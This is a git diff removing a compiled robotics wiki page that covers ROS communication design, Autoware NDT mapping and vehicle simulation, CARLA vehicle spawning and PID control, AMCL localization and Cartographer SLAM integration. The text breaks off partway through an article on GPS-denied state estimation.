-### Synchronous vs Asynchronous Communication -ROS offers both, a synchronous mode of communication using **services** and, an asynchronous mode of communication with the **publisher/subscriber** system. It is very important to choose the correct communication in your system needs to be synchronous and which does not. Making this decision will save a lot of design effort in the future when you are implementing the logic of these nodes. - -Asynchronous communication is more practical and useful in real-time systems. Synchronous communication is useful if you want to enforce a step-by-step execution of some protocol in your system. - -### Separation of tasks -In general, separation of code into modular components is recommended for clarity and the cleanliness of our development process. This rule of thumb is not the best idea when applied to ROS nodes. If nodes, which can be merged are split, for the sake of keeping code modular and clean, we simultaneously pay a price in communication delays. It is better to merge the nodes and keep them modular by maintaining classes and importing them into one node. Separate the tasks only if you feel those tasks can be performed faster and concurrently if it was given another core of the CPU. - - -/wiki/simulation/ndt-matching-with-autoware/ ---- -date: 2020-05-11 -title: NDT Matching with Autoware -published: true ---- -## Normal Distribution Transform (NDT) - -3D maps enable self driving cars to localize themselves in the environment. To localize using a map and Lidar data one needs to find a way to associate the point cloud from the sensor with the point cloud from the map. This is also known as scan matching in robotics. One of the common ways to do this is Iterative Closest Point, it uses 6 degrees of freedom to find the closest point to the geometric entity from a given 3D point cloud. There exist a lot of geometric variants of ICP such as point-to-plane etc. One of the downfalls of ICP is that it needs a good approximation and a good starting point as it works on non-linear optimization and has tendencies to get stuck in local minima. In real world scenarios our points will probably be a little off from the map. Measurement errors will cause points to be slightly mis-aligned, plus the world might change a little between when we record the map and when we make our new scan. -NDT matching provides a solution for these minor errors. Instead of trying to match points from our current scan to point on the map, we try to match points from our current scan to a grid of probability functions created from the map. - -![Probability Density Function](/assets/images/simulation/pdf.png) - -Following are the two tasks performed - -1. NDT mapping (Map generation) - Transform the LiDAR point cloud into a piecewise continuous and differentiable probability density (NDT). The probability density contains a set of the normal distributions where each point in point cloud is assigned to a voxel. A voxel is a 3D lattice cube to which points are assigned depending upon their coordinate value. The Point cloud is divided into k ND voxels clouds and are combined together , and also the voxel grid filter is used to decrease the computation cost and to reduce the noise from the 3D map - -2. NDT matching (Localization) - A search problem where we have to find a transform that maximizes NDT sum to match the different point clouds, a variety of minimization functions can be used for this. Newton nonlinear optimizer is used to find the best 6-DOF pose. - -## Hardware Requirements -Velodyne VLP-16 and Computer running Autoware, some mobile platform with transforms known - -## Software -First, setup the Velodyne sensor(s) appropriately. If you are using multiple sensors, you will need to publish their relative transforms by using tf_static_publisher after obtaining these TFs using Autoware. [see this blog post1](https://wowelec.wordpress.com/2019/06/18/setting-up-and-calibrating-multiple-lidar-sensors/). In case you just have one LIDAR, connect it to your laptop via wired Ethernet, and power it using a 8-20V DC power input (battery pack works), a VLP-16 consumes about 8W. -Then you need to set up your laptop with a static IP configuration, meaning that the wired connection should be on the 192.168.1.* subnet, and your LIDAR default IP address will be 192.168.1.201. You can reconfigure this if you are using multiple LIDARs, as described in the above blog post. -You need to initialize the LIDAR in the ROS framework by using the following ROS command (VLP-16), make sure you have the ros_velodyne_driver package installed for this to work successfully. -``` -roslaunch velodyne_pointcloud VLP16_points.launch -``` -You can check that the above node is publishing by doing a “rostopic echo” for the /velodyne_points topic. -Troubleshooting if it isn’t working - check the IP address, see if the Ethernet is configured correctly on your laptop, see if you are able to ping the sensor (ping 192.168.1.201 or the IP address that you have set), see if it is powered on and spinning (hold your hand on top of the sensor and you should feel the motor spinning). -Once the Velodyne LIDAR is publishing data, you can go ahead with the ROSbag collection as described below. If you want to incorporate additional sensor information like the IMU or GPS, just install the relevant ROS drivers for the sensors and ensure that they publish data onto the standard /imu_raw or /nmea (incomplete topic name) topics as required by Autoware. -Launch Autoware using the runtime_manager as follows: -``` -source autoware/install/setup.bash -roslaunch runtime_manager runtime_manager.launch -``` -You need to create a ROSBag of the space that you would like to map, so click on the ROSbag button on the bottom right of the main Autoware Runtime Manager console. Choose the topics that are relevant for your mapping (like /velodyne_points, /imu_raw, /nmea, etc.) and then start recording while moving the vehicle/robot very slowly through the space. If the space is really large (campus-sized or larger) then you might want to split the ROSbags to ensure that it does not fail to complete mapping at a later stage (large ROS messages cause ndt mapping to fail, and large ROSbags may be problematic to load/store/replay). -Once you have created the ROSbag, you can visualize the output of your “random walk” by replaying the ROSbag and opening Rviz to view the pointcloud that was generated at each position: -rosbag play the_rosbag_you_just_saved.bag -``` -rosrun rviz rviz -f velodyne # assuming you had a velodyne frame -``` -Video reference for [rest of this post](https://www.youtube.com/watch?v=ss6Blrz23h8) -To start creating the map, launch the NDT Mapping node in Autoware by clicking on it in the Computing tab (also specify any additional sensors you used like GPS or IMU, and for the rest, default parameters are fine). Then run the ROSbag but remap your velodyne_points to /points_raw since that is what Autoware uses for the ndt_mapping node. So something like below: -``` -rosbag play the_rosbag_you_just_saved.bag /velodyne_points:=/points_raw -``` -Then you will see the mapping running really quickly in one terminal and the number of point-cloud poses being considered (there will be 10 every second because that is the frequency of rotation of the LIDAR). Once the full ROSbag has played, wait for all the poses to be fused into the map, because sometimes when the map is really large, the mapping might not have caught up with the ROSbag running. Additionally, when you have a very large map, use approximate_ndt_mapping instead, [refer to blog post 2 here](https://wowelec.wordpress.com/2019/06/16/running-autoware-based-mapping-in-the-cloud/). - -Once you have finished creating the map, save it in your desired location with either a downsampling (to reduce the file size), or full/original quality output, by using the “app” tab in the NDT_Mapping node in the Computing tab. It will save as a .pcd file that can either be viewed using PCL_Viewer (a PCL tool) or RViz with Autoware. -The image below shows a map we made of NSH B-level on 29th January, 2020. To view a map in RViz, load Autoware, initialize the point cloud in the Mapping tab, and click on the TF button for a default TF. Then you should be able to launch RViz and visualize the point_map as shown below. You can change the point colours and axis colours to “intensity” and the sizes/transparencies as well. - -![PCD of B-Level RI](/assets/images/simulation/autoware_blevel.png) - - -/wiki/simulation/simulating-vehicle-using-autoware/ ---- -date: 2020-12-07 -title: Simulating Vehicles Using Autoware -published: true ---- -## Simulating and controlling an Ackermann drive chassis - -### Requirements -- ROS (higher kinetic) -- gazebo (higher version 7) - -Autoware is based on ROS and uses Gazebo for simulation. The goal of this section is to the the Gazebo simulator with Autoware packages. Autoware can use all the functionalities of ROS, it can be seen as another software layer over ROS. To simulate an ackermann vehicle we need to define an URDF or Xacro model. In this file we can change vehicle models, add actuators and sensors. -Autoware offers a default xacro file which can be customized for use, this is all available forin the `vehicle_sim package`. To customize this model we need not change the xacro file. The vehicle dynamics can be changed in the config file `vehicle_model/config/caibration.yaml`. To customize the visual appearance of the vehicle we can use a custom mesh file. Collate (`.dae`) formats can be added to mesh folder and referenced in the vehicle.xacro file. We have later discussed how sensors can be added and customized. - -![](/assets/images/simulation/autoware_models.png)*Figure 1. Different vehicle models* - - The vehicle sim package can be downloaded from [vehicle_sim](https://github.com/yukkysaito/vehicle_sim). - -### Available Worlds -Gazebo uses an ‘empty world’ which lacks any structures, to simulate the environment we need a world file. Autoware provides three templates of world files which can be downloaded from [car_sim](http://gazebosim.org/blog/car_sim ) - -![](/assets/images/simulation/autoware_worlds.png)*Figure 2. Gazebo worlds developed by autoware* - -All three worlds also have the Point Cloud Maps (PCD files) available for download which are needed for NDT based localization. -One can always use other gazebo worlds but the PCD maps have to be manually generated and downsampled, the process can be found on [Autoware Documentation](https://readthedocs.org/projects/autoware/downloads/pdf/feature-documentation_rtd/) - -## Using the path planning algorithms provided in Autoware -Autoware provides a number of different types of path planning algorithms. These include simpler ones like pure pursuit based on a set of pre-configured waypoints to dynamic path planning using LiDAR and camera based costmaps to a custom software package called OpenPlanner that can use vector maps and sensor data for planning. - -### 1. Waypoint following: -- A set of waypoints can be generated by using the waypoint_saver node within Autoware, which will record the position, orientation and velocity at a customizable set of intervals. Within the simulation, the vehicle can be moved with teleoperation or other manual approaches, and in the real world, this may be with a joystick or manual control of the vehicle. -- The previously generated set of waypoints are loaded using the waypoint_loader node within Autoware. -- The lane_rule, lane_stop and lane_select topics are checked. -- The astar_avoid is selected (and if not selected, it will not use obstacle avoidance) -- The velocity_set is checked (configured for a fixed velocity between waypoints) -- The twist_filter node is checked (to allow for limiting of the resulting values for control of the vehicle) -- The vehicle interface nodes are selected (for control of the vehicle) -- The pure_pursuit node is checked (and at this point, the vehicle will start moving) - -A sample image with waypoints is shown below. - - ![](/assets/images/simulation/autoware_plan.png)*Figure 3. Sample waypoints* - -This shows how the waypoints provide a velocity and orientation at every location, and how pure pursuit plans a path that interpolates them, as well as a lookahead target for the vehicle while driving. - -### 2. Using OpenPlanner for dynamic path planning -- Building a vector map with Tier IV or Assure Mapping Tools: this requires the use of proprietary softwares like Tier IV’s online Vector Map Builder tool, or the Assure Mapping Tools to build an HD vector map that provides lane, road sign/signal and other information for usage by OpenPlanner. -- Setup Autoware for localization for OpenPlanner. Launch the following nodes: ray_ground_filter (filters LIDAR ground points), vel_pose_connect (sends data through the control interface), lidar_euclidean_cluster_detect (identifies clusters within LiDAR data), lidar_kf_contour (tracks LiDAR point clouds using Kalman Filters), costmap_generator (uses LiDAR data to generate costmaps for future trajectories), op_global_planner (OpenPlanner planning from start to goal location), astar_avoid (local obstacle avoidance), velocity_set (sets maximum velocity at intermediate locations), pure_pursuit (follows the lookahead target for updating location), op_local_planner (OpenPlanner local planning). The local and global planners will use data from the vector map. -- The image below shows a set of lanes and wayareas drawn using Tier IV’s Vector Map Builder online tool. These need to be drawn very precisely and carefully to ensure that they work properly with Autoware. However, once this is done, it can do path planning for arbitrary start and goal locations on the map without requiring a prespecified set of waypoints. - - -![](/assets/images/simulation/autoware_map.png)*Figure 4. Vector Map* - - -## Simulating sensors and placing them in different locations on the vehicle -Autoware needs three sensors for efficient functioning -- Velodyne (VLP-16 or 32E) -- IMU -- Camera - -However, more sensors can be added for custom use. Autoware provides drivers for all the mentioned sensors, more velodyne LiDAR drivers for gazebo can be found on [velodyne_driver](https://bitbucket.org/DataspeedInc/velodyne_simulator/src). All drivers that work on ROS and can be simulated using Gazebo can be added to Autoware with no extra effort, [Gazebo Sensor Tutorial](http://gazebosim.org/tutorials?tut=ros_gzplugins) can be referred for detailed tutorials. This includes but not limited to -- 2D Lidar -- GPS -- Compass -- Contact/Force Sensors - -Various noise models can be simulated for the sensors, most of them use a parametric noise model. -Sensor Placement -Sensor position can be varied by in the configuration file `vehicle/vehicle_model/config/caibration.yaml`. Note: All the placement is relative to the rear axle center at ground level. -Additional sensors positions can also be defined in this yaml file and later referenced in vehicle.xacro, this enables easily configuring the sensors and knowing the extrinsics by publishing the TF’s directly from the yaml file. - -### Visualizing Sensor Data -The Autoware GUI can be used to launch Rviz, this can be seen in the figure below - - ![](/assets/images/simulation/autoware_gui.png) *Figure 5. Autoware GUI* - -Once Rviz is launched you can add sensors to visualize - -![](/assets/images/simulation/autoware_rviz.png)*Figure 6. Rviz GUI* - -To view all the sensor data in common frames we need to either visualize the base_link frame given that all sensor configurations have been correctly added. To visualize them relative to the world we need to enable localization and publish the `transform map -> odom -> base_link`. This can also be done using `p3d_base_controller` plugin in Gazebo and manually publishing a TF based on the topic assigned to the plugin. - -## Integrating and interfacing existing ROS packages with Autoware -Autoware contains different submodules entailing a [wide range of capabilities](https://github.com/Autoware-AI/autoware.ai/wiki/Overview) as shown below: - -![](/assets/images/simulation/autoware_pkgs.png)*Figure 7. Packages offered in Autoware* - -Many at times we just need to use a simple functionality of Autoware integrated with the rest of the system built independently. To integrate a ROS package with an existing autoware package/tool, we would need to download, install the corresponding package and simply import it by incorporating it along with the CMakeLists.txt and Package.xml file of our ROS package. An example of this use case is shown below: -Various autoware messages are available here. It can be installed with the command -``` -sudo apt install ros--autoware-msgs -``` -Any of the corresponding messages can be used by correspondingly importing the headers, for ex, the centroid messages (which is an array of points of type geometry_msgs/Point) can be used by: -``` -#include -void FunctionToDoWithCentroidMsgs(const autoware_msgs::Centroids& centroids); -Modify package.xml by adding: -autoware_msgs -autoware_msgs -``` -Modify CMakeLists.txt as follows: -``` -catkin_package( CATKIN_DEPENDS autoware_msgs) -``` -A similar procedure can be followed to any specific autoware package that needs to be used with ROS. - -## Summary -Now you can spawn a custom vehicle with a customed sensor stack in simulation. You can make use of Autoware's planning algorithms and other supported packages - -## Further Reading -Read the Autoware documentation from [Autoware Documentation](https://autowarefoundation.gitlab.io/autoware.auto/AutowareAuto/) - - -/wiki/simulation/spawning-and-controlling-vehicles-in-carla/ ---- -date: 2020-04-10 -title: Spawning and Controlling Vehicles in CARLA -published: true ---- -This is a short tutorial on using agents and traffic tools in CARLA. -This wiki contains details about: -1. Spawning Vehicles in CARLA -2. Controlling these spawned Vehicles using CARLA's PID controllers. - -## Pre-requisites -We assume that you have installed CARLA according to instructions on the website. -This tutorial used CARLA 0.9.8. - -Let's begin! -First, start the CARLA server: -``` -./CarlaUE4.sh -``` -This should open up the CARLA server and you will be greeted with a camera feed: - -![Hello CARLA](/assets/images/simulation/carla_opning.png) - -## Spawning a vehicle in CARLA -Now that we have the CARLA server running, we need to connect a client to it. -Create a python file, and add the following lines to it: - -``` -import carla -client = carla.Client('localhost', 2000) -client.set_timeout(2.0) -``` - -We now have a client connected to CARLA! - -Try exploring the city using the mouse and arrow keys. Try moving to a bird's eye view of the city and add the following lines to your code: -``` -def draw_waypoints(waypoints, road_id=None, life_time=50.0): - - for waypoint in waypoints: - - if(waypoint.road_id == road_id): - self.world.debug.draw_string(waypoint.transform.location, 'O', draw_shadow=False, - color=carla.Color(r=0, g=255, b=0), life_time=life_time, - persistent_lines=True) - -waypoints = client.get_world().get_map().generate_waypoints(distance=1.0) -draw_waypoints(waypoints, road_id=10, life_time=20) -``` -All roads in CARLA have an associated road_id. The code above will query the CARLA server for all the waypoints in the map, and the light up the waypoints that are present on road with road_id 10. You should see something like this: - -![CARLA Navigation](/assets/images/simulation/carla2.png) - -This visualization helps us in finding out a good spawn location for a vehicle. -Let's spawn a car somewhere on road 10 now. - -We first need to query for the car's blueprint. -``` -vehicle_blueprint = client.get_world().get_blueprint_library().filter('model3')[0] -``` -This blueprint will be used by CARLA to spawn a Tesla Model 3. - -We now need to obtain a spawn location. -``` -filtered_waypoints = [] -for waypoint in waypoints: - if(waypoint.road_id == 10): - filtered_waypoints.append(waypoint) -``` -This gives us a list of all waypoints on road 10. Let's choose a random waypoint from this list as the spawn point. This information, together with the blueprint, can be used to spawn vehicles. - -``` -spawn_point = filtered_waypoints[42].transform -spawn_point.location.z += 2 -vehicle = client.get_world().spawn_actor(vehicle_blueprint, spawn_point) -``` -The reason for increasing the 'z' coordinate of the spawn point it to avoid any collisions with the road. CARLA does not internally handle these collisions during spawn and not having a 'z' offset can lead to issues. - -We should now have a car on road 10. -![Spawn Completed](/assets/images/simulation/carla3.png) - -## Controlling the spawned car -We will be using CARLA's built-in PID controllers for controlling our spawned model 3. - -Let's initialize the controller: -``` -from agents.navigation.controller import VehiclePIDController -custom_controller = VehiclePIDController(vehicle, args_lateral = {'K_P': 1, 'K_D': 0.0, 'K_I': 0}, args_longitudinal = {'K_P': 1, 'K_D': 0.0, 'K_I': 0.0}) -``` -This creates a controller that used PID for both lateral and longitudinal control. Lateral control is used to generate steering signals while latitudinal control tracks desired speed. You are free to play around with the Kp, Kd and Ki gains and see how the motion of the car is affected! - -Let's choose a waypoint to track. This is a waypoint on the same lane as the spawned car. -``` -target_waypoint = filtered_waypoints[50] -client.get_world().debug.draw_string(target_waypoint.transform.location, 'O', draw_shadow=False, - color=carla.Color(r=255, g=0, b=0), life_time=20, - persistent_lines=True) -``` -The tracked waypoint should now be red in color. - -![Visualizing the tracked waypoint](/assets/images/simulation/carla4.png) - - -Now, track! -``` -ticks_to_track = 20 -for i in range(ticks_to_track): - control_signal = custom_controller.run_step(1, target_waypoint) - vehicle.apply_control(control_signal) -``` -You should see something like the GIF below: -![Tracking](/assets/images/simulation/carlaTrack.gif) - - - -## Summary -That's it! You can now spawn and control vehicles in CARLA. - -## See Also: -- Follow our work at https://mrsdprojects.ri.cmu.edu/2020teamd/ for more CARLA related demos. - -## References -https://carla.readthedocs.io/en/latest/ diff --git a/wiki/state-estimation/__all_subsections.md b/wiki/state-estimation/__all_subsections.md deleted file mode 100644 index 4f527468..00000000 --- a/wiki/state-estimation/__all_subsections.md +++ /dev/null @@ -1,1216 +0,0 @@ -/wiki/state-estimation/adaptive-monte-carlo-localization/ ---- -date: 2020-02-03 -title: Adaptive Monte Carlo Localization ---- -## What is a particle filter? -Particle filter are initialized by a very high number of particles spanning the entire state space. As you get additional measurements, you predict and update your measurements which makes your robot have a multi-modal posterior distribution. This is a big difference from a Kalman Filter which approximates your posterior distribution to be a Gaussian. Over multiple iterations, the particles converge to a unique value in state space. - -![Particle Filter in Action over Progressive Time Steps](/assets/images/state-estimation/AdaptiveMonteCarloLocalization-65e37.png) - -**Figure 1:** Particle Filter in Action over Progressive Time Steps - -The steps followed in a Particle Filter are: -1. **Re-sampling:** Draw with replacement a random sample from the sample set according to the (discrete) distribution defined through the importance weights. This sample can be seen as an instance of the belief. - -2. **Sampling:** Use previous belief and the control information to sample 􀀀from the distribution which describes the dynamics of the system. The current belief now represents the density given by the product of distribution and an instance of the previous belief. This density is the proposal distribution used in the next step. - -3. **Importance sampling:** Weight the sample by the importance weight, the likelihood of the sample X given the measurement Z. - -Each iteration of these three steps generates a sample drawn from the posterior belief. After n iterations, the importance weights of the samples are normalized so that they sum up to 1. - -For further details on this topic, [Sebastian Thrun's paper on Particle Filter in Robotics](https://robots.stanford.edu/papers/thrun.pf-in-robotics-uai02.pdf) is a good source for a mathematical understanding of particle filters, their applications and drawbacks. - -## What is an adaptive particle filter? -A key problem with particle filter is maintaining the random distribution of particles throughout the state space, which goes out of hand if the problem is high dimensional. Due to these reasons it is much better to use an adaptive particle filter which converges much faster and is computationally much more efficient than a basic particle filter. - -The key idea is to bound the error introduced by the sample-based representation of the particle filter. To derive this bound, it is assumed that the true posterior is given by a discrete, piece-wise constant distribution such as a discrete density tree or a multidimensional histogram. For such a representation we can determine the number of samples so that the distance between the maximum likelihood estimate (MLE) based on the samples and the true posterior does not exceed a pre-specified threshold. As is finally derived, the number of particles needed is proportional to the inverse of this threshold. - -[Dieter Fox's paper on Adaptive Particle Filters](http://papers.nips.cc/paper/1998-kld-sampling-adaptive-particle-filters.pdf) delves much deeper into the theory and mathematics behind these concepts. It also covers the implementation and performance aspects of this technique. - -## Use of Adaptive Particle Filter for Localization -To use adaptive particle filter for localization, we start with a map of our environment and we can either set robot to some position, in which case we are manually localizing it or we could very well make the robot start from no initial estimate of its position. Now as the robot moves forward, we generate new samples that predict the robot's position after the motion command. Sensor readings are incorporated by re-weighting these samples and normalizing the weights. Generally it is good to add few random uniformly distributed samples as it helps the robot recover itself in cases where it has lost track of its position. In those cases, without these random samples, the robot will keep on re-sampling from an incorrect distribution and will never recover. The reason why it takes the filter multiple sensor readings to converge is that within a map, we might have dis-ambiguities due to symmetry in the map, which is what gives us a multi-modal posterior belief. - -![Localization Process using Particle Filters](/assets/images/state-estimation/AdaptiveMonteCarloLocalization-0d322.png) - -[Dieter Fox's paper on Monte Carlo Localization for Mobile Robots](https://www.ri.cmu.edu/pub_files/pub1/fox_dieter_1999_1/fox_dieter_1999_1.pdf) gives further details on this topic and also compares this technique to many others such as Kalman Filter based Localization, Grid Based and Topological Markov Localization. - -## Configuring ROS AMCL package -At the conceptual level, the AMCL package maintains a probability distribution over the set of all possible robot poses, and updates this distribution using data from odometry and laser range-finders. Depth cameras can also be used to generate these 2D laser scans by using the package `depthimage_to_laserscan` which takes in depth stream and publishes laser scan on `sensor_msgs/LaserScan`. More details can be found on the [ROS Wiki](http://wiki.ros.org/depthimage_to_laserscan). - -The package also requires a predefined map of the environment against which to compare observed sensor values. At the implementation level, the AMCL package represents the probability distribution using a particle filter. The filter is "adaptive" because it dynamically adjusts the number of particles in the filter: when the robot's pose is highly uncertain, the number of particles is increased; when the robot's pose is well determined, the number of particles is decreased. This enables the robot to make a trade-off between processing speed and localization accuracy. - -Even though the AMCL package works fine out of the box, there are various parameters which one can tune based on their knowledge of the platform and sensors being used. Configuring these parameters can increase the performance and accuracy of the AMCL package and decrease the recovery rotations that the robot carries out while carrying out navigation. - -There are three categories of ROS Parameters that can be used to configure the AMCL node: overall filter, laser model, and odometery model. The full list of these configuration parameters, along with further details about the package can be found on the [webpage for AMCL](http://wiki.ros.org/amcl). They can be edited in the `amcl.launch` file. - -Here is a sample launch file. Generally you can leave many parameters at their default values. -``` - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -``` - -Best way to tune these parameters is to record a ROS bag file, with odometry and laser scan data, and play it back while tuning AMCL and visualizing it on RViz. This helps in tracking the performance based on the changes being made on a fixed data-set. - - -/wiki/state-estimation/cartographer-ros-integration/ ---- -# Jekyll 'Front Matter' goes here. Most are set by default, and should NOT be -# overwritten except in special circumstances. -# You should set the date the article was last updated like this: -date: 2021-10-23 # YYYY-MM-DD -# This will be displayed at the bottom of the article -# You should set the article's title: -title: Cartographer SLAM ROS Integration -# The 'title' is automatically displayed at the top of the page -# and used in other parts of the site. ---- -Cartographer is a LiDAR-based SLAM algorithm built by Google that is very efficient and accurate at building large maps. From testing Cartographer qualitatively performs better than other ROS SLAM algorithms such as gmapping and rtab-map. - -Links: -- [Cartographer](https://google-cartographer.readthedocs.io/en/latest/) -- [gmapping](http://wiki.ros.org/gmapping) -- [rtab-map](http://wiki.ros.org/rtabmap_ros) - -The detailed explanation of the Cartographer's algorithm and tuning can be found at their [webpage](https://google-cartographer-ros.readthedocs.io/en/latest/) and will not be repeated here. The main purpose of this guide is to show how to integrate your sensors to work with Cartographer in a ROS environment. Cartographer has both 2D and 3D SLAM, but this guide will focus only on the 2D SLAM. - -One of Cartographer's strength is that its 2D SLAM is aware of the 3D world (it will project a titled LiDAR scan to the horizontal axis). This is in contrast to gmapping which requires the LaserScan to always be perfectly level and horizontal. As seen below, the tracking frame (base_link) is not level, causing the LiDAR LaserScan to be tilted, but Cartographer takes the tilt into account. - -![](/assets/images/state-estimation/carto-1.png) - -# Installation - -Refer to the [installation guide](https://google-cartographer-ros.readthedocs.io/en/latest/compilation.html#building-installation) in Cartographer's website. It is recommended to create a **separate workspace** just for Cartographer that is separate from your other ROS packages. This is because Cartographer uses ninja to build and may be incompatible with your other ROS packages. When you are using the package, remember to source the directory, e.g. - -`source ~/cartographer_ws/install_isolated/setup.bash` - -I recommend that you try to run Cartographer on your machine with the [demo bag](https://google-cartographer-ros.readthedocs.io/en/latest/demos.html). It is the best way to verify your installation. - -## Requirements - -- Ubuntu 18.04 LTS or later -- [ROS Melodic Desktop Full](http://wiki.ros.org/melodic/Installation/Ubuntu) (if using Ubuntu 18.04 LTS) -- We tested Cartographer with Nvidia AGX CPU and it works well in real-time with less than 50% CPU load - -# Interface - -See full details [here](https://google-cartographer-ros.readthedocs.io/en/latest/ros_api.html). - -Input: - -- LiDAR ([sensor_msgs::LaserScan](http://docs.ros.org/en/noetic/api/sensor_msgs/html/msg/LaserScan.html) or [sensor_msgs::MultiEchoLaserScan](http://docs.ros.org/en/noetic/api/sensor_msgs/html/msg/MultiEchoLaserScan.html)) -- IMU ([sensor_msgs::Imu](http://docs.ros.org/en/melodic/api/sensor_msgs/html/msg/Imu.html)). Only angular velocities and linear accelerations are used. -- Odometry ([nav_msgs::Odometry](http://docs.ros.org/en/noetic/api/nav_msgs/html/msg/Odometry.html) and [TF](http://wiki.ros.org/tf) `odom`->`base_link`). Optional. - -Output: - -- map ([nav_msgs::OccupancyGrid](http://docs.ros.org/en/noetic/api/nav_msgs/html/msg/OccupancyGrid.html)) -- TF (`map`->`odom`->`base_link` or `map`->`odom` depending if `odom`->`base_link` has been provided by you) - -# Overview - -There are a few things you need to do to get Cartographer working. This section gives you an overview of all the things you need to do before diving deep into each item. - -1. Prepare the required TF transformations -2. Prepare IMU Data -3. Prepare LiDAR LaserScan data, the default ROS LiDAR driver might not work -4. To use the map as a costmap, you need to edit the Cartographer source code and add an inflation layer - -## 1. Prepare TF Transformations - -You need to provide a static TF transform from `base_link` to your imu frame and all of your LiDAR frames. It is recommended to use `robot_state_publisher` and not `static_transform_publisher` - -Example shown below - -![](/assets/images/state-estimation/carto-2.png) - -An important point is that `base_link` needs to be **coincident** with `imu_link` (both must have the exact same position and orientation). If you need `base_link` for navigational purposes, I recommend creating one more child frame from`base_link`, e.g. `nav_link` that is at the appropriate location on the robot for navigation, e.g. centre of the wheels and at the axis of rotation. - -In this example, `horizontal_laser_link` is the frame ID of the LaserScan data, and should correspond to the frame id in the LaserScan header. - -## 2. Prepare IMU Data - -Requirements: - -- Cartographer requires IMU to be in standard ROS frame convention. x-axis facing forward, y-axis to the left, and z-axis pointing up (see figure below). Your IMU might not follow this convention, hence you need to convert them with a package such as [imu_transformer](http://wiki.ros.org/imu_transformer), or create your own node that subscribes to the raw IMU data and publishes the rectified data. -- The IMU should be fast, at around 100 Hz -- The IMU should have the correct timestamps, errors in this will cause errors in the SLAM - -![](/assets/images/state-estimation/carto-3.jpeg) - -## 3. Prepare LiDAR LaserScan data - -Cartographer can take in `sensor_msgs::LaserScan` or `sensor_msgs::MultiEchoLaserScan` as inputs. Unfortunately, sensor drivers such as [velodyne_driver](http://wiki.ros.org/velodyne_driver) will not work out of the box because it has missing metadata. If you look at the documentation of [LaserScan](http://docs.ros.org/en/noetic/api/sensor_msgs/html/msg/LaserScan.html), you will see several metadata such as `time_increment` which the standard ros drivers do not fill in for you. So your job is to edit the ros velodyne driver to suit your need. Look at the specifications of the LiDAR that you are using to fill in the metadata. For example, the correct metadata of a VLP16 Puck Hi-Res with nominal settings (600RPM and 10Hz) are: - -``` -const float RESOLUTION = 0.00349066; // rad -const size_t SIZE = 2.0 * M_PI / RESOLUTION; -sensor_msgs::LaserScanPtr scan(new sensor_msgs::LaserScan()); -scan->header = msg->header; -scan->angle_increment = RESOLUTION; // rad -scan->angle_min = -M_PI; // rad -scan->angle_max = M_PI; // rad -scan->range_min = 0.4; // m -scan->range_max = 130.0; // m -scan->scan_time = 0.1; // secs -scan->time_increment = scan->scan_time / SIZE; // secs -``` - -You can refer to a sample driver [here](https://github.com/howde-robotics/velodyne). - - - -Additionally, a parameter in Cartographer `.lua` config file that you need to change are: - -``` -/* Depending on whether you are using laserscan or multiecholaserscan */ -num_laser_scans = 1, -// num_multi_echo_laser_scans = 1, - -num_subdivisions_per_laser_scan = 1, -TRAJECTORY_BUILDER_2D.num_accumulated_range_data = 1 -``` - -You can refer to a sample config file [here](https://github.com/howde-robotics/dragoon_bringup/blob/master/launch/include/dragoon_cartographer.lua). - -# 4. Costmap Integration - -Cartographer will output TF for robot pose in the map frame and an [OccupancyGrid](http://docs.ros.org/en/noetic/api/nav_msgs/html/msg/OccupancyGrid.html). However, if you want to use the provided OccupancyGrid with other navigation modules, such as move_base, the standard Cartographer OccupancyGrid will not work. This is because most navigation apps require the costmap to only have either of 3 values, FREE (0), OBSTACLES (100), or UNKNOWN (-1). Cartographer instead has a range of values depending on the confidence that the algorithms have about the state of the cells. For example, at first detection, a cell can have a value of around ~40, but as more data is collected that cell's value can go to 0 (if it is FREE) or 100 (if it is OBSTACLES). If you try to use this map as a global costmap for move_base, you will get a costmap that looks like the image below. - -![](/assets/images/state-estimation/carto-4.png) - -The workaround is to change the way Cartographer looks at obstacles. Refer to the commit [here](https://github.com/howde-robotics/cartographer/commit/93eee6e207bcbeccdbd696f2ea2f5a00234665f1) for the changes necessary. You need to change a line in `cartographer/io/submap_painter.cc` in line `209` from: - -``` -const uint8_t alpha_value = alpha.at(i); -``` - -To - -``` -uint8_t alpha_value = alpha.at(i); - if (intensity_value == 0 && alpha_value > 0) { - alpha_value = 255; - } -``` - -This will immediately make an obstacle in Cartographer's OccupancyGrid to be at its maximum value. - -However, if you now try to use it as a costmap, you will get something like the image below: - -![](/assets/images/state-estimation/carto-5.png) - -As you can see, it now has obstacles and walls, but they are very sparse with gaps in between. The solution is to add `inflation_layer` using the costmap package. See more [here](http://wiki.ros.org/costmap_2d/hydro/inflation). Now once you inflate the walls and obstacles you will get a costmap that looks like this: - -![](/assets/images/state-estimation/carto-6.png) - -Now that is a usable costmap for navigation. - -# Future Work - -There are areas that can be worked on to further improve Cartographers which our team did not have enough time to investigate. - -For the best performance of Cartographer, scans should be broken down to parts of the scans and be sent as input to Cartographer as often as possible. Okay to make that sentence easier to understand, consider the nominal case of VLP16 Puck LiDAR with 10Hz scanning frequency. A typical driver such as [velodyne_driver](http://wiki.ros.org/velodyne_driver) will wait until the LiDAR makes a 360 degrees revolution before bundling all that data together into a single `LaserScan` msg and publish it on `rostopic`. However, this means that the entire revolution of scan (~100ms) shares the same timestamp, even though in reality each point is measured at different instances of time (e.g. 1st quadrant is at 0ms, 2nd quadrant is at 25ms, etc.). This degrades the performance of Cartographer that relies on accurate and tight timestamps. Therefore, one can figure out how to send the laserscans section by section every time a UDP msg is received. - -# Summary - -Cartographer is a fast and accurate SLAM package for your robotics needs. We believe, it is more accurate and efficient than packages such as gmapping and hector SLAM. It is able to create really large maps with its submaps methodology. But requires more work to integrate it with ROS. - - -/wiki/state-estimation/gps-lacking-state-estimation-sensors/ ---- -# Jekyll 'Front Matter' goes here. Most are set by default, and should NOT be -# overwritten except in special circumstances. -# You should set the date the article was last updated like this: -date: 2022-12-05 # YYYY-MM-DD -# This will be displayed at the bottom of the article -# You should set the article's title: -title: Externally Referenced State Estimation for GPS Lacking Environments -# The 'title' is automatically displayed at the top of the page -# and used in other parts of the site. ---- -Robotic systems will often encounter environments where GPS access is either lacking or denied. In these environments, it's important to still maintain some accurate global representation of the robot's state, both for localization and mapping purposes. This is a relatively common problem in robotics, and is commonly dealt with through a combination of proprioceptive sensors and an estimation of the local environment in order to perform [SLAM](https://www.mathworks.com/discovery/slam.html). This is effective in environments where there are unique features to localize off of, but can struggle in uniform or dynamic environments. For that reason, there is benefit in considering sensor suites that 